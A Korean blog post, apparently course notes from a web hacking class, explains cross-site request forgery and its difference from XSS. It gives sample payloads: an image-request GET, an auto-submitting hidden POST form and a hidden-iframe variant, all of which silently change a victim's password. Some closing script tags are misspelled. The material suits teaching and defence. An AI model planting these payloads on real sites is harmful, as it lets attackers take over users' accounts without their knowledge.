사이트 간 요청 위조(또는 크로스 사이트 요청 위조, : Cross-site request forgery, CSRF, XSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. -위키백과-

 

즉   사용자가 어떠한 요청을 하도록 유도하는 것을 말하며 XSS와는 다른 취약점이다.

XSS는 데이터의 탈취 및 스크립트를 사용한 CSRF를 유도 할 수 있으며 CSRF는 사용자가 특정 행위를 하도록 유도하는 것이다.

 

간단한 예시로 게시판에서 XSS 취약점이 생긴다면 게시판에 악성 스크립트를 심어두어 접속한 사용자의 비밀번호를 바꾸도록 요청하는 스크립트를 실행하는 것이 있다.

 


1. XSS를 활용한 CSRF

 

GET 방식

<script>
var i = new Image();
i.src= '비밀번호 변경url/?pw=1234' 
</script>

 

POST 방식

<form method="POST" action="passWdUpadte.com" id="myform">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

 

POST(페이지 이동 막기)

위의 방식대로 하면 POST 요청으로 페이지가 이동된다. 이를 방지하기위해 iframe을 사용

form의 target을 iframe으로 주고 iframe은 display none으로 화면에 표기하지 않는다.

<iframe width="0" height="0" name='myframe' style="display:none">

<form method="POST" action="passWdUpadte.com" id="myform" target="myframe">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
11차 HTML의 DOM 접근  (0) 2024.01.15
9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
8주차 SQL Injection 대상 찾기  (1) 2023.12.18

+ Recent posts